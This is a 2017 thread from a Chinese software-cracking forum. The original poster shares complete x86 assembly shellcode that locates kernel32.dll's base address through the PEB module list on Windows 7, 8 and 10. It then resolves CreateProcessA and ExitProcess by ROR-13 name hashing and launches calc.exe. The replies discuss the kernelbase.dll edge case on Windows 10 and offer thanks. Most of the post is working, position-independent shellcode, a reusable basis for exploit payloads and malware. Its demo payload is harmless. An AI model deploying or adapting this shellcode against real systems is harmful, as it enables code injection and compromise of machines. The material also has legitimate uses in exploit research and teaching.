吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 6539|回复: 8
收起左侧

[其他转载] win7/8/10通用获取kernel32基地址的shellcode代码

[复制链接]
chaosregion 发表于 2017-7-29 13:52
本帖最后由 chaosregion 于 2017-7-29 17:47 编辑

很早以前写的,现在又需要重温,呵呵。
太着急,没有写亮点。有新手没有看清楚。
我们写shellcode时,总是需要找到kernel32的首地址,然后再找到自己需要函数地址,但是kernel32的首地址在不同的Windows版本用一个shellcode可不是那么容易找到的。
win8的某些版本,kernel32的字符串为Kernel32.dll,第一个字母是大写。
另外需要通过进程的dll加载链找到kernel32的地址,就需要进行循环查找,一般是第二个dll,第一个是ntdll.dll。
但是有没有不是kernel32.dll的呢,有没有可能是kernelbase.dll呢,你告诉我吧。为什么进程加载的第二个dll必须是kernel32.dll。


[Asm] 纯文本查看 复制代码

.386
.model  flat,stdcall
option casemap:none
include windows.inc

.code
start:

        assume   fs:nothing
        push ebp
        xor ecx,ecx
        mov edx,dword ptr fs:[30h]
        mov eax,dword ptr[edx+0Ch]
        mov esi,dword ptr[eax+1Ch]
next_module:
        mov ebp,dword ptr[esi+08h]
        mov edi,dword ptr[esi+20h]
        mov esi,dword ptr[esi]
        
        xor eax,eax
add_kerstr:        
        add ax,word ptr[edi]   ; 累加模块名字符串
        cmp word ptr[edi],0
        je judge
        inc edi
        inc edi
        jmp add_kerstr
judge:        
        cmp ax,330h   ; up 大写kernel32.dll
        je got_it
        cmp ax,450h   ; low 小写kernel32.dll
        jne next_module
        
got_it:        
        mov edi,ebp   ;取得kernel32.dll基地址


        push ebp
        mov ebp,esp
        sub esp,130h
        mov dword ptr[ebp-04h],edi
        push 16B3FE72h ;CreateProcessA
        push dword ptr[ebp-04h]
        call GetApiAddress  
        mov dword ptr[ebp-20h],eax
        push 73E2D87Eh ;ExitProcess
        push dword ptr[ebp-04h]
        call GetApiAddress  
        mov dword ptr[ebp-24h],eax
        mov dword ptr[ebp-12ch],636c6163h
        mov dword ptr[ebp-128h],6578652eh
        mov dword ptr[ebp-124h],0h
                               
        
        ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
        ; CreateProcess calc.exe
        ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
        lea edi,dword ptr[ebp-80h]
        push edi
        lea edi,dword ptr[ebp-80h]
        xor eax,eax
        mov ecx,44h
        push ecx
        rep stos byte ptr es:[edi]
        pop ecx
        lea edi,dword ptr[ebp-70h]
        mov dword ptr[ebp-70h],ecx
        push edi
        push 0
        push 0
        push 8000000h
        push 0
        push 0
        push 0
        lea eax,dword ptr[ebp-12ch]
        push eax                                     ; calc.exe
        push 0
        call dword ptr[ebp-20h]             ;CreateProcess
        push 0 
        call dword ptr[ebp-24h]             ;ExitProcess
        
        
GetApiAddress proc KernelBaseAddress:dword, EncryptNum:dword

LOCAL ReturnValue:dword 
pushad
mov edi,KernelBaseAddress
mov eax,dword ptr[edi+3ch]
mov edx,dword ptr[edi+eax+78h] ;IMAGE_EXPORT_DIRECTORY
add edx,edi

mov ecx,dword ptr[edx+18h]  ;名称导出的函数总数
mov ebx,dword ptr[edx+20h]  ;函数名地址表
add ebx,edi
push edx       ;保存edx
NotFound:
jecxz ExitGetApi
dec ecx
mov esi,dword ptr[ebx+ecx*4]  ;从最后一个函数名开始查找   Address of names
add esi,edi
xor eax,eax
cdq
LoopChar:
lods byte ptr[esi]
test al,al
je CharEnd
ror edx,0dh       ;对字符串进行hash运算
add edx,eax
jmp LoopChar
CharEnd:
cmp edx,EncryptNum
jnz NotFound
pop edx       ; 恢复edx
mov ebx,dword ptr[edx+24h] ; 函数序号表  Address of name ordinals
add ebx,edi
mov cx,word ptr[ebx+ecx*2] ; 找到了函数的序号
mov ebx,dword ptr[edx+1ch] ; 函数地址表
add ebx,edi
add edi,dword ptr[ebx+ecx*4] ;由序号得出函数的rva
mov ReturnValue,edi
ExitGetApi:
popad
mov eax,ReturnValue
ret
GetApiAddress endp


end start

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

mayl8822 发表于 2017-7-29 23:55
感谢分享
sudo777 发表于 2017-8-22 18:37
我的就是kernelbase阿,用的shellcode导致exitprocess不能正常运行
 楼主| chaosregion 发表于 2017-8-25 08:50
sudo777 发表于 2017-8-22 18:37
我的就是kernelbase阿,用的shellcode导致exitprocess不能正常运行

你倒是说清楚啊,什么系统?什么版本?怎样测试的?你这没头没脑我想测试修改都难。
sudo777 发表于 2017-8-27 13:38
chaosregion 发表于 2017-8-25 08:50
你倒是说清楚啊,什么系统?什么版本?怎样测试的?你这没头没脑我想测试修改都难。

阿 我是附议你之前说的为什么第二个节点必须是kernel32.dll,我的系统是win10,用查找第二个节点的方法在win10上找到的dll是kernelBase.dll
 楼主| chaosregion 发表于 2017-9-10 20:31
呵呵,可能我的表达不清楚,第二个dll当然不一定是kernel32.dll如果是64位系统,第二个加载的dll还会有变化,只是为了让大家思考而已。注意我上面一句话说的,一般是第二个dll,不是的海了去了,呵呵。
无敌小俊俊 发表于 2017-11-12 22:57
我的天,我看了一个晚上论坛,什么都没看懂
9152pojie 发表于 2017-11-29 16:38
看不懂汇编有c或者c++的最好啦
yber 发表于 2018-1-12 16:50
支持原创!
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-4-19 22:53

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表